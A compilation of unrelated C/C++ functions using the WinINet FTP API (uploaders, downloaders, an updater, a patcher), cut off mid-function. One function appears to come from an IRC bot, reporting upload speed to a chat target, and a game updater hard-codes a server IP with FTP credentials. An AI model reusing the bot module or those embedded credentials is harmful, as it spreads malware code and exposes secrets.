BOOL CFTPCtrl::FtpUploadFile(CString filePath) { HANDLE hOpenFile = (HANDLE)CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); if(hOpenFile==INVALID_HANDLE_VALUE) { AfxMessageBox(_T("打开文件失败,请检查文件路径后重试!")); CloseHandle(hOpenFile); return FALSE; } CString fileName = GetFileName(filePath); HINTERNET hFtpOpen = FtpOpenFile( m_hConnect,fileName, GENERIC_WRITE, FTP_TRANSFER_TYPE_ASCII, 0 ); if ( NULL == hFtpOpen ) { AfxMessageBox(_T("Ftp远程文件打开失败!")); return FALSE; } DWORD fileSize=GetFileSize(hOpenFile,NULL); char *buffer=new char[fileSize];//最后一位为'/0',C-Style字符串的结束符。 DWORD readSize; if (FALSE==ReadFile(hOpenFile,buffer,fileSize,&readSize,NULL)) { AfxMessageBox(_T("读取本地文件失败!")); return FALSE; } DWORD dwBytesWritten; if (FALSE==InternetWriteFile( hFtpOpen, buffer,fileSize,&dwBytesWritten)) { AfxMessageBox(_T("上传文件失败!")); return FALSE; } CloseHandle( hOpenFile ); InternetCloseHandle(hFtpOpen); return TRUE; }
int FtpDownloadInet::GetFileSize(wchar_t* URL) const { HINTERNET hFtp = NULL; HINTERNET hRemoteFile; int nTotal; Url url(URL); hFtp = InternetConnect(m_hInternet, url.GetHostname(), 0, DEFAULT_FTP_USERNAME, DEFAULT_FTP_PASSWORD, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE,0); if (hFtp == 0) { DWORD status = GetLastError(); g_log.Log(L"FtpDownloadInet::GetFileSize. Error '%u' calling InternetConnect and getting '%s'", (wchar_t *) status, URL); return false; } hRemoteFile = FtpOpenFile(hFtp, url.GetPathAndFileName(), GENERIC_READ, FTP_TRANSFER_TYPE_BINARY,0); if (hRemoteFile == 0) { DWORD status = GetLastError(); g_log.Log(L"FtpDownloadInet::GetFileSize. Error '%u' calling FtpOpenFile and getting '%s'", (wchar_t *) status, URL); return false; } nTotal = _getFileSize(hRemoteFile); InternetCloseHandle(hFtp); InternetCloseHandle(hRemoteFile); return nTotal; }
BOOL CFTPCtrl::FtpDownloadFile(CString ftpFileName,CString localFilePath) { //localFilePath=CreateFilePath(ftpFileName,localFilePath); HANDLE hOpenFile = (HANDLE)CreateFile(localFilePath, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_NEW, NULL, NULL); if(hOpenFile==INVALID_HANDLE_VALUE) { if (IDYES==AfxMessageBox(_T("创建本地文件失败,指定路径下可能已存在同名文件,是否覆盖?"),MB_YESNO)) { hOpenFile = (HANDLE)CreateFile(localFilePath, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, NULL, NULL); if(hOpenFile==INVALID_HANDLE_VALUE) { AfxMessageBox(_T("创建本地文件失败,请重新选择文件路径后重试!")); CloseHandle(hOpenFile);//一定注意在函数退出之前对句柄进行释放。 return FALSE; } } else { AfxMessageBox(_T("下载文件失败!")); CloseHandle(hOpenFile);//一定注意在函数退出之前对句柄进行释放。 return FALSE; } } HINTERNET hFtpOpen = FtpOpenFile( m_hConnect, ftpFileName, GENERIC_READ, FTP_TRANSFER_TYPE_ASCII, 0 ); if ( NULL == hFtpOpen ) { AfxMessageBox(_T("Ftp远程文件打开失败!")); return FALSE; } DWORD fileSize= FtpGetFileSize(hFtpOpen,NULL);//这种调用只能获取4GB以内的文件,FtpGetFileSize该函数第二个参数64位文件大小的高32位。 DWORD readSize; char *buffer=new char[fileSize]; if (FALSE==InternetReadFile(hFtpOpen,buffer,fileSize,&readSize)) { AfxMessageBox(_T("读取Ftp文件失败!")); return FALSE; } DWORD dwBytesWritten; if (FALSE==WriteFile( hOpenFile, buffer,fileSize,&dwBytesWritten,NULL)) { AfxMessageBox(_T("下载文件失败!")); return FALSE; } CloseHandle( hOpenFile ); InternetCloseHandle(hFtpOpen); return TRUE; }
unsigned int __stdcall speedtest(void *param) { int i; unsigned long started; unsigned long elapsed; unsigned long speed; unsigned long w; char fbuf[4096]; struct spds spd = *(struct spds *)param; struct spds *pspd = (struct spds *)param; HINTERNET ih = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0); HINTERNET ich; HINTERNET ftph; URL_COMPONENTS url; pspd->gotinfo = true; url.lpszUserName = (char *)malloc(128); url.dwUserNameLength = 128; url.lpszPassword = (char *)malloc(128); url.dwPasswordLength = 128; url.lpszHostName = (char *)malloc(128); url.dwHostNameLength = 128; url.dwStructSize = sizeof(url); InternetCrackUrl(spd.url, 0, 0, &url); ich = InternetConnect(ih, url.lpszHostName, url.nPort, url.lpszUserName, url.lpszPassword, INTERNET_SERVICE_FTP, 0, 0); if(ich) { ftph = FtpOpenFile(ich, "speed.test", GENERIC_WRITE, FTP_TRANSFER_TYPE_BINARY, 0); if(ftph) { memset(fbuf, 'A', sizeof(fbuf)); started = GetTickCount() / 1000; for(i = 0; i < spd.size * 1024 / 4096; i++) { InternetWriteFile(ftph, fbuf, sizeof(fbuf), &w); elapsed = GetTickCount() / 1000 - started; } speed = spd.size / ((elapsed) ? elapsed : 1); irc_privmsg(spd.target, "speedtest complete (upload speed: %luKB/s)", speed); } } InternetCloseHandle(ftph); InternetCloseHandle(ich); InternetCloseHandle(ih); free(url.lpszUserName); free(url.lpszPassword); free(url.lpszHostName); clearthread(spd.tnum); _endthreadex(0); return 0; }
void openConnection (URL_COMPONENTS& uc, HINTERNET sessionHandle, URL::OpenStreamProgressCallback* progressCallback, void* progressCallbackContext) { int disable = 1; InternetSetOption (sessionHandle, INTERNET_OPTION_DISABLE_AUTODIAL, &disable, sizeof (disable)); if (timeOutMs == 0) timeOutMs = 30000; else if (timeOutMs < 0) timeOutMs = -1; InternetSetOption (sessionHandle, INTERNET_OPTION_CONNECT_TIMEOUT, &timeOutMs, sizeof (timeOutMs)); const bool isFtp = address.startsWithIgnoreCase ("ftp:"); #if WORKAROUND_TIMEOUT_BUG connection = 0; { InternetConnectThread connectThread (uc, sessionHandle, connection, isFtp); connectThread.wait (timeOutMs); if (connection == 0) { InternetCloseHandle (sessionHandle); sessionHandle = 0; } } #else connection = InternetConnect (sessionHandle, uc.lpszHostName, uc.nPort, uc.lpszUserName, uc.lpszPassword, isFtp ? (DWORD) INTERNET_SERVICE_FTP : (DWORD) INTERNET_SERVICE_HTTP, 0, 0); #endif if (connection != 0) { if (isFtp) request = FtpOpenFile (connection, uc.lpszUrlPath, GENERIC_READ, FTP_TRANSFER_TYPE_BINARY | INTERNET_FLAG_NEED_FILE, 0); else openHTTPConnection (uc, progressCallback, progressCallbackContext); } }
__int64 inet_get_resource_size(const wstring& url) { wstring url2=inet_canonicalize_url(url); __int64 res_size=-1; bool succ=false; HINTERNET handle_internet=NULL; HINTERNET handle_url=NULL; HINTERNET handle_connect=NULL; HINTERNET handle_file=NULL; inet_url_parts parts=inet_crack_url(url2); do { if(parts.scheme==INTERNET_SCHEME_HTTP) { handle_internet=InternetOpenW(INET_USER_AGENT.c_str(),INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); if(!handle_internet) break; handle_url=InternetOpenUrlW(handle_internet,url2.c_str(),NULL,0,0,NULL); if(!handle_url) break; wchar_t buffer[4096]; DWORD buffer_len=sizeof(buffer); DWORD index=0; if(!HttpQueryInfoW(handle_url,HTTP_QUERY_CONTENT_LENGTH,buffer,&buffer_len,&index)) break; res_size=_wtoi64(buffer); succ=true; } else if(parts.scheme==INTERNET_SCHEME_FTP) { handle_internet=InternetOpenW(INET_USER_AGENT.c_str(),INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); if(!handle_internet) break; handle_connect=InternetConnectW(handle_internet,parts.hostname.c_str(),parts.port,parts.username.c_str(),parts.password.c_str(),INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,NULL); if(!handle_connect) break; handle_file=FtpOpenFile(handle_connect,parts.url_path.c_str(),GENERIC_READ,FTP_TRANSFER_TYPE_BINARY,NULL); if(!handle_file) break; DWORD low,high; low=FtpGetFileSize(handle_file,&high); if(low==(~0)) break; res_size=low|(((__int64)high)<<32); succ=true; } else break; }while(false); if(handle_file) InternetCloseHandle(handle_file); if(handle_connect) InternetCloseHandle(handle_connect); if(handle_url) InternetCloseHandle(handle_url); if(handle_internet) InternetCloseHandle(handle_internet); return res_size; }
void CFTPTransferDlg::TransferThread() { //Create the Internet session handle (if needed) if (!m_bUsingAttached) { ASSERT(m_hInternetSession == NULL); // m_hInternetSession = ::InternetOpen(AfxGetAppName(), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); m_hInternetSession = InternetOpen("Ftp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (m_hInternetSession == NULL) { TRACE(_T("Failed in call to InternetOpen, Error:%d\n"), ::GetLastError()); HandleThreadErrorWithLastError(IDS_FTPTRANSFER_GENERIC_ERROR); return; } //Should we exit the thread if (m_bAbort) { PostMessage(WM_FTPTRANSFER_THREAD_FINISHED); return; } } ASSERT(m_hInternetSession); //Setup the status callback function on the Internet session handle INTERNET_STATUS_CALLBACK pOldCallback = ::InternetSetStatusCallback(m_hInternetSession, _OnStatusCallBack); if (pOldCallback == INTERNET_INVALID_STATUS_CALLBACK) { TRACE(_T("Failed in call to InternetSetStatusCallback, Error:%d\n"), ::GetLastError()); HandleThreadErrorWithLastError(IDS_FTPTRANSFER_GENERIC_ERROR); return; } //Should we exit the thread if (m_bAbort) { if (pOldCallback) ::InternetSetStatusCallback(m_hInternetSession, pOldCallback); PostMessage(WM_FTPTRANSFER_THREAD_FINISHED); return; } //Make the connection to the FTP server (if needed) if (!m_bUsingAttached) { ASSERT(m_hFTPConnection == NULL); ASSERT(m_sServer.GetLength()); if (m_sUserName.GetLength()) // m_hFTPConnection = ::InternetConnect(m_hInternetSession, m_sServer, m_nPort, m_sUserName, // m_sPassword, INTERNET_SERVICE_FTP, 0, (DWORD) this); m_hFTPConnection = ::InternetConnect(m_hInternetSession, m_sServer, m_nPort, m_sUserName, m_sPassword, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0); else m_hFTPConnection = ::InternetConnect(m_hInternetSession, m_sServer, m_nPort, NULL, NULL, INTERNET_SERVICE_FTP, 0, (DWORD) this); if (m_hFTPConnection == NULL) { TRACE(_T("Failed in call to InternetConnect, Error:%d\n"), ::GetLastError()); if (pOldCallback) ::InternetSetStatusCallback(m_hInternetSession, pOldCallback); HandleThreadErrorWithLastError(IDS_FTPTRANSFER_FAIL_CONNECT_SERVER); return; } //Should we exit the thread if (m_bAbort) { if (pOldCallback) ::InternetSetStatusCallback(m_hInternetSession, pOldCallback); PostMessage(WM_FTPTRANSFER_THREAD_FINISHED); return; } } ASSERT(m_hFTPConnection); //Start the animation to signify that the download is taking place PlayAnimation(); //Update the status control to reflect that we are getting the file information SetStatus(IDS_FTPTRANSFER_GETTING_FILE_INFORMATION); // Get the length of the file to transfer DWORD dwFileSize = 0; BOOL bGotFileSize = FALSE; if (m_bDownload) { WIN32_FIND_DATA wfd; HINTERNET hFind = ::FtpFindFirstFile(m_hFTPConnection, m_sRemoteFile, &wfd, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, (DWORD) this); if (hFind) { //Set the progress control range bGotFileSize = TRUE; dwFileSize = (DWORD) wfd.nFileSizeLow; // SetProgressRange(dwFileSize); SetProgressRange(0,100); //Destroy the enumeration handle now that we are finished with it InternetCloseHandle(hFind); } } else { bGotFileSize = TRUE; dwFileSize = m_LocalFile.GetLength(); // SetProgressRange(dwFileSize); SetProgressRange(0, 100); } //Should we exit the thread if (m_bAbort) { if (pOldCallback) ::InternetSetStatusCallback(m_hInternetSession, pOldCallback); PostMessage(WM_FTPTRANSFER_THREAD_FINISHED); return; } //check to see if the file already exists on the server if (!m_bDownload) { WIN32_FIND_DATA wfd; HINTERNET hFind = ::FtpFindFirstFile(m_hFTPConnection, m_sRemoteFile, &wfd, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, (DWORD) this); BOOL bFound = FALSE; if (hFind) { bFound = TRUE; //Destroy the enumeration handle now that we are finished with it InternetCloseHandle(hFind); } if (bFound && SendMessage(WM_FTPTRANSFER_ASK_OVERWRITE_FILE) == 0) { if (pOldCallback) ::InternetSetStatusCallback(m_hInternetSession, pOldCallback); PostMessage(WM_FTPTRANSFER_THREAD_FINISHED, 1); return; } } //Should we exit the thread if (m_bAbort) { if (pOldCallback) ::InternetSetStatusCallback(m_hInternetSession, pOldCallback); PostMessage(WM_FTPTRANSFER_THREAD_FINISHED); return; } //Open the remote file ASSERT(m_hFTPFile == NULL); if (m_bDownload) { if (m_bBinary) m_hFTPFile = FtpOpenFile(m_hFTPConnection, m_sRemoteFile, GENERIC_READ, FTP_TRANSFER_TYPE_BINARY | INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, (DWORD) this); else m_hFTPFile = FtpOpenFile(m_hFTPConnection, m_sRemoteFile, GENERIC_READ, FTP_TRANSFER_TYPE_ASCII | INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, (DWORD) this); } else { if (m_bBinary) m_hFTPFile = FtpOpenFile(m_hFTPConnection, m_sRemoteFile, GENERIC_WRITE, FTP_TRANSFER_TYPE_BINARY | INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, (DWORD) this); else m_hFTPFile = FtpOpenFile(m_hFTPConnection, m_sRemoteFile, GENERIC_WRITE, FTP_TRANSFER_TYPE_ASCII | INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, (DWORD) this); } if (m_hFTPFile == NULL) { TRACE(_T("Failed in call to FtpOpenFile, Error:%d\n"), ::GetLastError()); if (pOldCallback) ::InternetSetStatusCallback(m_hInternetSession, pOldCallback); HandleThreadErrorWithLastError(IDS_FTPTRANSFER_FAIL_OPEN_FILE); return; } //Should we exit the thread if (m_bAbort) { if (pOldCallback) ::InternetSetStatusCallback(m_hInternetSession, pOldCallback); PostMessage(WM_FTPTRANSFER_THREAD_FINISHED); return; } //Update the status to say that we are now uploading / downloading the file if (m_bDownload) SetStatus(IDS_FTPTRANSFER_RETREIVEING_FILE); else SetStatus(IDS_FTPTRANSFER_UPLOADING_FILE); //Now do the actual reading / writing of the file DWORD dwStartTicks = ::GetTickCount(); DWORD dwCurrentTicks = dwStartTicks; DWORD dwBytesRead = 0; DWORD dwBytesWritten = 0; char szReadBuf[1024]; DWORD dwBytesToRead = 1024; DWORD dwTotalBytesRead = 0; DWORD dwTotalBytesWritten = 0; DWORD dwLastTotalBytes = 0; DWORD dwLastPercentage = 0; do { if (m_bDownload) { //Read from the remote file if (!::InternetReadFile(m_hFTPFile, szReadBuf, dwBytesToRead, &dwBytesRead)) { TRACE(_T("Failed in call to InternetReadFile, Error:%d\n"), ::GetLastError()); if (pOldCallback) ::InternetSetStatusCallback(m_hInternetSession, pOldCallback); HandleThreadErrorWithLastError(IDS_FTPTRANSFER_ERROR_READFILE); return; } else if (dwBytesRead && !m_bAbort) { //Write the data to file TRY { m_LocalFile.Write(szReadBuf, dwBytesRead); } CATCH(CFileException, e); { TRACE(_T("An exception occured while writing to the download file\n")); if (pOldCallback) ::InternetSetStatusCallback(m_hInternetSession, pOldCallback); HandleThreadErrorWithLastError(IDS_FTPTRANSFER_ERROR_READFILE, e->m_lOsError); e->Delete(); return; } END_CATCH //Increment the total number of bytes read dwTotalBytesRead += dwBytesRead; UpdateControlsDuringTransfer(dwStartTicks, dwCurrentTicks, dwTotalBytesRead, dwLastTotalBytes, dwLastPercentage, bGotFileSize, dwFileSize); } } else { //Read the data from the local file TRY { dwBytesRead = m_LocalFile.Read(szReadBuf, 1024); } CATCH(CFileException, e); { TRACE(_T("An exception occured while reading the local file\n")); if (pOldCallback) ::InternetSetStatusCallback(m_hInternetSession, pOldCallback); HandleThreadErrorWithLastError(IDS_FTPTRANSFER_ERROR_READFILE, e->m_lOsError); e->Delete(); return; } END_CATCH //Write to the remote file if (dwBytesRead) { if (!::InternetWriteFile(m_hFTPFile, szReadBuf, dwBytesRead, &dwBytesWritten)) { TRACE(_T("Failed in call to InternetWriteFile, Error:%d\n"), ::GetLastError()); if (pOldCallback) ::InternetSetStatusCallback(m_hInternetSession, pOldCallback); HandleThreadErrorWithLastError(IDS_FTPTRANSFER_ERROR_WRITEFILE); return; } else if (dwBytesWritten && !m_bAbort) { //Increment the total number of bytes read dwTotalBytesWritten += dwBytesWritten; UpdateControlsDuringTransfer(dwStartTicks, dwCurrentTicks, dwTotalBytesWritten, dwLastTotalBytes, dwLastPercentage, bGotFileSize, dwFileSize); } } } }
UINT CUpdaterDlg::threadDownload(LPVOID arg) { CUpdaterDlg *pDlg = (CUpdaterDlg *)arg; HINTERNET hInternet, hFtp; if(pDlg->m_strPath.ReverseFind('\\') != pDlg->m_strPath.GetLength() - 1) pDlg->m_strPath += "\\"; CString strRemainedFolder = pDlg->m_strPath.Right(pDlg->m_strPath.GetLength() - pDlg->m_strPath.Find('\\') - 1); CString strFolderName = pDlg->m_strPath.Left(pDlg->m_strPath.Find('\\')); strFolderName += "\\"; CString strCurFolder = strFolderName; while(strRemainedFolder.GetLength()) { strCurFolder += strRemainedFolder.Left(strRemainedFolder.Find('\\')) + "\\"; strRemainedFolder = strRemainedFolder.Right(strRemainedFolder.GetLength() - strRemainedFolder.Find('\\') - 1); ::CreateDirectory(strCurFolder, NULL); } ::SetCurrentDirectory(pDlg->m_strPath); // 인터넷 세션 열기 hInternet = InternetOpen("TESTFTP", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if(hInternet == NULL) { pDlg->MessageBox("게임 다운로드에 실패했습니다."); return 0; } // FTP 서버에 연결 hFtp = InternetConnect(hInternet, "218.53.191.241", INTERNET_DEFAULT_FTP_PORT, "download", "ddc314", INTERNET_SERVICE_FTP, 0, 0); if(hFtp == NULL) { InternetCloseHandle(hInternet); pDlg->MessageBox("게임 다운로드에 실패했습니다."); return 0; } CString strFileList = pDlg->m_strPath + "\\filelist.log"; CString strRemoteFileList = "\\" + pDlg->m_strGameType + "\\filelist.log"; BOOL bSucceed = FtpGetFile(hFtp, strRemoteFileList, strFileList, FALSE, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY | INTERNET_FLAG_RELOAD, 0); FILE *fp; int nNumofFile = 0; int nTotalSize = 0; DWORD dwTotalBytes = 0; char filename[255] = {0, }; char version[255] = {0, }; if((fp = fopen(strFileList, "rt")) == NULL) { pDlg->MessageBox("게임을 설치할 수 없습니다.\nfilelist.log 열기 실패", "오류"); return 0; } fscanf(fp, "%d", &nNumofFile); fscanf(fp, "%d", &nTotalSize); pDlg->m_ctrlAllFiles.SetRange32(0, nTotalSize); for(int i = 0 ; i < nNumofFile ; i++) { HINTERNET hRemote; HGLOBAL hLocal; DWORD dwRead, dwWritten, Prog = 0; DWORD dwFileSize; DWORD dwMaxSize = ULONG_MAX; BOOL bResult; char buff[1000]; fscanf(fp, "%s", filename); CString strFilename = filename; CString strSubFolder = strFilename.Left(strFilename.Find("\\")); if(strSubFolder.GetLength()) strSubFolder += "\\"; ::CreateDirectory(strSubFolder, NULL); fscanf(fp, "%d", &dwFileSize); // fscanf(fp, "%s", version); CString strFilePath = pDlg->m_strGameType + "\\" + strFilename; hRemote = FtpOpenFile(hFtp, strFilePath, GENERIC_READ, FTP_TRANSFER_TYPE_BINARY, 0); pDlg->m_ctrlCurFile.SetRange32(0, dwFileSize); if(hRemote == NULL) { fclose(fp); InternetCloseHandle(hFtp); InternetCloseHandle(hInternet); } CString strNewFile = pDlg->m_strPath + strFilename; hLocal = CreateFile(strNewFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); pDlg->GetDlgItem(IDC_CURFILE)->SetWindowText("수신 파일 : " + strNewFile); while(1) { DWORD dwTime1 = timeGetTime(); DWORD dwTime2; bResult = InternetReadFile(hRemote, buff, 1000, &dwRead); if((bResult == TRUE) && (dwRead == 0)) break; // 끝까지 다 받았슴 WriteFile(hLocal, buff, dwRead, &dwWritten, NULL); dwTime2 = timeGetTime(); DWORD dwTransferTime = dwTime2 - dwTime1; Prog += dwWritten; dwTotalBytes += dwWritten; pDlg->m_ctrlCurFile.SetPos(Prog); pDlg->m_ctrlAllFiles.SetPos(dwTotalBytes); CString strRemained; int nRemained = nTotalSize / ((float)(dwTransferTime) / 1000.0f); float fTransfered = ((float)dwTotalBytes) / 1000000.0f; // int nTransferRate = 1000 / dwTransferTime; strRemained.Format("수신량 : [ %3.1fMB 받음 ]", fTransfered); pDlg->GetDlgItem(IDC_TIMEREMAINED)->SetWindowText(strRemained); } CloseHandle(hLocal); InternetCloseHandle(hRemote); } fclose(fp); HKEY hKey; DWORD dwDisp; CString strRootKey = "SOFTWARE\\HGRGame\\" + pDlg->m_strGameType + "\\Setting"; RegCreateKeyEx(HKEY_CURRENT_USER, strRootKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, &dwDisp); RegSetValueEx(hKey, "installedpath", 0, REG_SZ, (LPBYTE)(LPCTSTR)pDlg->m_strPath, pDlg->m_strPath.GetLength()); CString strParam; strParam.Format("%s %s", pDlg->m_strID, pDlg->m_strGameType); ShellExecute(NULL, "open", pDlg->m_strPath + "\\Lobby.exe", strParam, pDlg->m_strPath, SW_SHOW); pDlg->OnOK(); return 0; }
bool FtpDownloadInet::GetFile(wchar_t* URL, wchar_t* file, ProgressStatus progress, void *data) { HINTERNET hFtp = NULL; HINTERNET hRemoteFile; HANDLE hWrite; DWORD dwRead, dwWritten; int nTotal, nCurrent; Url url(URL); hFtp = InternetConnect(m_hInternet, url.GetHostname(), 0, DEFAULT_FTP_USERNAME, DEFAULT_FTP_PASSWORD, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE,0); if (hFtp == 0) { DWORD status = GetLastError(); g_log.Log(L"FtpDownloadInet::GetFile. Error '%u' calling InternetConnect and getting '%s'", (wchar_t *) status, URL); return false; } hRemoteFile = FtpOpenFile(hFtp, url.GetPathAndFileName(), GENERIC_READ, FTP_TRANSFER_TYPE_BINARY,0); if (hRemoteFile == 0) { DWORD status = GetLastError(); g_log.Log(L"FtpDownloadInet::GetFile. Error '%u' calling FtpOpenFile and getting '%s'", (wchar_t *) status, URL); return false; } hWrite = CreateFile(file, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hWrite == INVALID_HANDLE_VALUE) { InternetCloseHandle(hRemoteFile); return false; } BYTE buffer[32768]; nTotal = _getFileSize(hRemoteFile); nCurrent = 0; while (InternetReadFile(hRemoteFile, buffer, sizeof (buffer) - 1, &dwRead)) { if (dwRead == 0) break; nCurrent+= dwRead; if (progress != NULL) { if (progress (nTotal, nCurrent, data) == false) break; } Window::ProcessMessages(); WriteFile(hWrite, buffer, dwRead, &dwWritten, NULL); } InternetCloseHandle(hFtp); CloseHandle(hWrite); InternetCloseHandle(hRemoteFile); return dwRead == 0; }
BOOL CNetFile::InitThread(LPVOID pData) {_STT(); // Verify open file if ( !m_local.IsOpen() && !m_bMem ) return FALSE; // Crack the url ZeroMemory( &m_cui, sizeof( m_cui ) ); CWinFile::CrackUrl( m_szUrl, &m_cui ); m_dwTransferError = 0; // Open internet handle m_dwTransferStatus = NETFILE_DS_INITIALIZING; // Don't know the length m_bGetTotalLength = FALSE; m_dwTotalLength = 0; // Post callback DoCallback( (WPARAM)m_dwTransferStatus, (LPARAM)this ); m_hInternet = InternetOpen( m_szUserAgent, m_dwAccessFlags, // INTERNET_OPEN_TYPE_DIRECT, // INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, m_dwInetFlags ); if ( m_hInternet == NULL ) { m_dwTransferStatus = NETFILE_DS_ERROR; m_dwTransferError = GetLastError(); DoCallback( (WPARAM)m_dwTransferStatus, (LPARAM)this ); return FALSE; } // end if if ( *m_szUsername != 0 || m_sHeaders.size() || m_sData.size() ) { if ( m_bUpload ) { DWORD dwPort = ( m_cui.dwPort != 0 ) ? m_cui.dwPort : INTERNET_DEFAULT_FTP_PORT; m_hConnect = InternetConnect( m_hInternet, m_cui.szHostName, (UINT)dwPort, m_szUsername, m_szPassword, INTERNET_SERVICE_FTP, m_bPassive ? INTERNET_FLAG_PASSIVE : 0, 0 ); } // end if else { DWORD dwPort = ( m_cui.dwPort != 0 ) ? m_cui.dwPort : INTERNET_DEFAULT_HTTP_PORT; m_hConnect = InternetConnect( m_hInternet, m_cui.szHostName, (UINT)dwPort, m_szUsername, m_szPassword, INTERNET_SERVICE_HTTP, 0, 0 ); } // end else if ( m_hConnect == NULL ) { m_dwTransferStatus = NETFILE_DS_ERROR; m_dwTransferError = GetLastError(); DoCallback( (WPARAM)m_dwTransferStatus, (LPARAM)this ); return FALSE; } // end if } // end if // Attempt to open the file m_dwTransferStatus = NETFILE_DS_CONNECTING; // Post callback DoCallback( (WPARAM)m_dwTransferStatus, (LPARAM)this ); if ( !m_bUpload ) { HINTERNET handle = m_hInternet; if ( m_hConnect != NULL ) handle = m_hConnect; if ( m_sHeaders.size() == 0 && m_sData.size() == 0 ) { m_hFile = InternetOpenUrl( handle, m_szUrl, NULL, 0, INTERNET_FLAG_TRANSFER_BINARY | m_dwOpenFlags, 0 ); if ( m_hFile == NULL ) { m_dwTransferStatus = NETFILE_DS_ERROR; m_dwTransferError = GetLastError(); DoCallback( (WPARAM)m_dwTransferStatus, (LPARAM)this ); return FALSE; } // end if } // end if else { CStr fname = m_cui.szUrlPath; DWORD dwData = m_sData.strlen(); LPCTSTR pData = m_sData; // Add variables to url if GET if ( !strcmpi( m_sMethod, "GET" ) ) { fname += "?"; fname += m_sData; pData = NULL; dwData = 0; } // end if // Accept whatever parameters came with the link else fname += m_cui.szExtraInfo; m_hFile = HttpOpenRequest( handle, m_sMethod, fname, NULL, NULL, NULL, INTERNET_FLAG_TRANSFER_BINARY | m_dwOpenFlags, 0 ); if ( m_hFile == NULL ) { m_dwTransferStatus = NETFILE_DS_ERROR; m_dwTransferError = GetLastError(); DoCallback( (WPARAM)m_dwTransferStatus, (LPARAM)this ); return FALSE; } // end if if ( !HttpSendRequest( m_hFile, m_sHeaders, m_sHeaders.strlen(), (LPVOID)pData, dwData ) ) { m_dwTransferStatus = NETFILE_DS_ERROR; m_dwTransferError = GetLastError(); DoCallback( (WPARAM)m_dwTransferStatus, (LPARAM)this ); return FALSE; } // end if } // end else // Want to know the length m_bGetTotalLength = TRUE; } // end if else { m_dwDataWritten = 0; if ( m_hConnect == NULL ) { m_hFile = InternetOpenUrl( m_hInternet, m_szUrl, NULL, 0, INTERNET_FLAG_TRANSFER_BINARY | m_dwOpenFlags, 0 ); } // end if else { DWORD i = 0; while( m_cui.szUrlPath[ i ] != 0 && ( m_cui.szUrlPath[ i ] == '\\' || m_cui.szUrlPath[ i ] == '/' ) ) i++; m_hFile = FtpOpenFile( m_hConnect, &m_cui.szUrlPath[ i ], GENERIC_WRITE, INTERNET_FLAG_TRANSFER_BINARY, 0 ); } // end else if ( m_hFile == NULL ) { m_dwTransferStatus = NETFILE_DS_ERROR; m_dwTransferError = GetLastError(); DoCallback( (WPARAM)m_dwTransferStatus, (LPARAM)this ); return FALSE; } // end if if ( !m_bMem ) { if ( m_pMem != NULL ) { delete m_pMem; m_pMem = NULL; } // end if m_dwMemSize = m_local.Size(); // Anything to upload? if ( m_dwMemSize == 0 ) return FALSE; // Allocate memory m_pMem = new BYTE[ m_dwMemSize + 1 ]; if ( m_pMem == NULL ) return FALSE; // Read in the data DWORD read = 0; if ( !m_local.Read( m_pMem, m_dwMemSize, &read ) || read != m_dwMemSize ) { m_dwTransferStatus = NETFILE_DS_ERROR; m_dwTransferError = GetLastError(); DoCallback( (WPARAM)m_dwTransferStatus, (LPARAM)this ); return FALSE; } // end if } // end if } // end else return TRUE; }
BOOL CPatch::CheckPatchDate(VOID) { int CmpResult; int BufferSize; char ReadDate[9]; char LastUpdateDate[9]; char FileBuffer[4100]; DWORD dwReadLen; DWORD dwErrNum; FILE* HFile; dwReadLen = 0; BufferSize = 2048; ZeroMemory(FileBuffer, 4100); m_hFile = NULL; m_hFile = CreateFile (PATCHED_LIST_FILE, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL,NULL); if((dwErrNum=GetLastError())==ERROR_FILE_EXISTS) { // 화일이 존재하면 다시 받아라 DeleteFile(PATCHED_LIST_FILE); m_hFile = CreateFile (PATCHED_LIST_FILE, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL,NULL); } m_HFileFtp = FtpOpenFile( m_HFtp, PATCHED_LIST_FILE, GENERIC_READ, FTP_TRANSFER_TYPE_BINARY, 0); while(1) // 화일 받는 부분. { if (InternetReadFile( m_HFileFtp, FileBuffer, (DWORD)BufferSize, &dwReadLen) != FALSE) { if ( (int)dwReadLen != BufferSize ) { BufferSize = (int)dwReadLen; WriteFile( m_hFile, FileBuffer, (DWORD)BufferSize, &dwReadLen, NULL); break; } else { WriteFile( m_hFile, FileBuffer, (DWORD)BufferSize, &dwReadLen, NULL); } } else { break; } } CloseHandle(m_hFile); InternetCloseHandle(m_HFileFtp); m_hFile = NULL; m_HFileFtp = NULL; m_PatchState = 0; // Get Last Update Date From Reg if(!jRegGetKey(_T(DEFAULT_REG_PATH), _T(PATCH_LAST_DATE), (LPBYTE)LastUpdateDate)) { strcpy(LastUpdateDate,DEFAULT_LAST_PATCH_DATE); // Default Last 